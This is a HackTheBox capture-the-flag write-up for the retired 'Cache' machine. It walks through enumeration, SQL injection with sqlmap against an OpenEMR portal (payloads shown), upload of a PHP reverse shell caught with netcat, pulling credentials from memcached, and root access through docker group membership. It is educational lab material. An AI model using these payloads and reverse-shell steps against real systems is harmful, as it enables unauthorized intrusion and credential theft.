HacktheBox Writeup — Cache (Retired)

Brian Frodelius
9 min readJan 11, 2021

Cache is a smooth machine if you know where to look…

Note: I saw this in my drafts and waited to publish it after it was retired to respect the guidelines set in place by HackTheBox.

Preparation

We proceed to update our /etc/hosts file with the ip address of our cache machine to “cache.htb”, we also run an nmap scan for any ports for us.

nmap -T4 -A -p- cache.htb

Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache

We got two standard ports with updated versions on both so let’s move to enumerate port 80…

Enumeration

When we connect to http://cache.htb:80/ we are met with a information site about hacking, cool. We navigate to the tab Author and see that someone name “ASH” is the likely the admin. Out of curiosity we test to see if our prediction is right with matching it against the ssh service.

ssh ash@cache.htb

It prompted us for a password meaning our guess was right. This user “ASH” is important… we proceed to navigate to the Login page. When we tried leaving both fields black we were met with the responses Password didn't Match and Username didn't match but when we use “ash” for our password and a random password we only get Password didn't Match meaning our guess was right. We proceed to check for any clues in Inspect Element (Q).

We notice on the Network tab there is a decent amount of traffic for a login page but only two GET requests have a code 200 so we open functionality.js in another page and we have credentials…

$(function(){

var error_correctPassword = false;
var error_username = false;

function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false;
checkCorrectUsername();
if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});

});

Probably not the smartest idea to use this as a way to verify credentials but we aren’t complaining. The credentials work and we are met with an page that is “…still underconstruction” ok? There isn’t much at all even after taking a look at the Inspect Element.

We go back to the Author tab for any other information and we find something else interesting. After a friend gave me a nudge saying “There’s a hidden service just look” I looked for any keywords until I came with to this and forgot that there can be two domains pointing off one ip.

For a page made for finding information on hacking you wouldn’t assume he/she has a management system for a hostpital. Likely it is hidden somehow. The text is small so let’s try to update our /etc/hosts file with “hms.htb” since if our guess would be something is waiting for us to connect as that url instead of the “cache.htb” url.

vi/vim/nano /etc/hosts

Well our guess was right “ASH” had a management system listening on a different domain. (Don’t try ash.htb it comes back negative)

We open Inspect Element on the Network tab before we try using the same credentials because people repeat their mistakes. Well in this case they didn’t the site is pulling the username and password from a database. While we were doing that dirbuster was having a field day which meant a long day for us to go through and find anything interesting. We find five interesting links…

  1. http://hms.htb/interface/login/login.php?site=default which was the first site we were met with that was a login page which is also likely an admin login page since there isn’t any other “admin” login page.
  2. http://hms.htb/portal/index.php?site=default&w&u which is a Patient Portal Login page which didn’t bare any fruit.
  3. http://hms.htb/portal/account/register.php a patient register page which when we spent a half hour going through different entries came to the fact that they don’t actually send you the credentials from the information you inputted as well as the Send Request didn’t actually do anything.
  4. http://hms.htb/admin.php shocked there was an “admin” page we could access but bore no fruit because although it is a “Site Admin” panel it can configure anything and when prompted to add another site that is denied as you can only have one site at a time. It also told us the version of the site and knowing HackTheBox it’s a vulnerable version. When we matched it up on google we found exploits specifically for our version funny right? Though for the exploit we would need the username and password so we will worry about that later…
  5. http://hms.htb/portal/add_edit_event_user.php was a process because it was when you clicked Register here which would redirect you here then you could connect to that url which would bring you here…

You would think since you can “edit” an “event” you could use something to identify an “event”. We proceed to test the url for sqli because the “event” has to go somewhere and identify somehow. We test different url’s until we got a response we want…

Exploit

http://hms.htb/portal/add_edit_event_user.php?eid=1

We should run this against sqlmap for any vulnerabilities. We use burpsuite to intercept the request so when we run sqlmap we don’t have to add the cookies and headers manually because that’s is unnecessary work that can be avoided… We put our headers into a text file (check.txt) for sqlmap. If the commands are at all confusing refer here for any help. Example:

GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OpenEMR=8cqnfnk60tmn10lknnk2apm5n2; PHPSESSID=nbaa5ctmpjtcu0gca6r157n725
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

sqlmap -r ~/check.txt --dbs — batch

You should get something like…

[18:31:02] [INFO] testing connection to the target URL
got a 302 redirect to 'http://hms.htb:80/portal/index.php?site=default&w'. Do you want to follow? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (4957=4957) THEN 1 ELSE (SELECT 9598 UNION SELECT 6951) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(7015,CONCAT(0x5c,0x7162707171,(SELECT (ELT(7015=7015,1))),0x716a786b71))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 9112 FROM (SELECT(SLEEP(5)))QrDa)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7162707171,0x4a46626f63455742734473446672714261716448546f674c6d4e524e4178676f5673576a44577175,0x716a786b71),NULL-- -
---
[18:31:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:31:02] [INFO] fetching database names
[18:31:02] [INFO] resumed: 'information_schema'
[18:31:02] [INFO] resumed: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr

Nice! we got two databases. We proceed to open the tables for db openemr.

| users                                 |
| users_facility |
| users_secure |
| valueset |
| voids |
| x12_partners |
+---------------------------------------+

Great! we got two user tables. We proceed to open the table users_secure.

User Own

sqlmap -r /home/kali/Desktop/check.txt — dbs — batch openemr -T users_secure — dump

It shows us a hashed password for an account openemr_admin : xxxxxx which works in the login panel. We have the option to either use a premade exploit for OpenEMS or use upload a reverse shell. One sounds more work than the other but damn do I love the concept of reverse shells. After surfing our little admin panel for answers we find a little “manual” to upload our reverse shell as patients information. We pull and edit our shell from: /usr/share/webshells/php/reverse-php-shell.php

Steps for uploading CCR XMLFor an existing patient, go to Patient Summary->Documents. For a new patient, go to Miscellanous->New Documents.
Upload the xml file under the category CCR.
After Uploading, click `Import`.
Approve the patient from Patient/Client->Import->Pending Approval.

Seems simple enough we navigate to the Miscellanous tab and click on the Patient Information folder and find an upload page. I pray I don’t have to take a snack break because they check for extensions. We upload our php reverse shell as test.php and it even tells us where it’s located I would say we should use dirsearch to make sure our file is there but I already set up a netcat listener and used curl to send us the shell…

curl http://hms.htb/public_html/sites/default/documents/00/2150/test.php

nc -lvnp 1234

root@kali:/home/kali/Downloads# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.237] from (UNKNOWN) [10.10.10.188] 44836
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
01:21:42 up 3:01, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
luffy pts/0 10.10.14.251 00:55 21:26 0.62s 0.15s docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
$ whoami
www-data

We navigate to /home/ and find two users: ash and luffy. We don’t know who luffy is but we sure as hell know who ash is and his credentials we used earlier. We proceed to test his password when we su to him. Our password H@v3_fun works and we are able to cat the flag user.txt.

Root Own

Alright after a quick sudo -l we find out we aren’t part of the sudoers so let’s turn to the/etc/passwd file for who we can su to that has sudo permissions.

ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false

All in all the users are standard but these three…

  1. Ash: we already have access to him including his password but he can’t run anything as root and isn’t in any interesting group.
  2. Luffy: we don’t know anything about the user besides the fact that he/she had a directory in /home that wasn’t accessible to us as ash.
  3. Memcache: mainly known as Memcached is a system that caches memory to make website driven databases more efficient. Normally it runs on a separate system on port 11211 but after a quick netstat -tulpn we find out our special port is open and on and listening on localhost .

Well we cant go anywhere else so we might as well try it…Going in we run another nc -lvnp 1234 and activate our reverse shell for two shells. I was also very new to the commands used in this system so if anything is confusing use this as a reference.

nc localhost 11211

stats

stats slabs

stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 2575
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END

We see there is only one slab so let’s open it… If the command below is odd 1 is the slab ID and 0 just means dump all the keys.

stats cachedump 1 0

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

We use the command get *item* to find the username and password for luffy within user and passwd .

Credentials: luffy : 0n3_p1ec3

He isn’t part of the sudoers but we find out after a quick id he is part of the docker group. After a quick docker images we find our possible one option to get our root flag.

docker run -it ubuntu /bin/bash

It runs and within /root we find our long awaited root.txt.

Final Thoughts

Overall I liked the machine even though it took me hours to find out there was another domain which I am not proud of but that was to be expected when I didn’t bother to think to check. It also refreshed me up on docker and introduced me to Memcached which even youtube uses.

--

--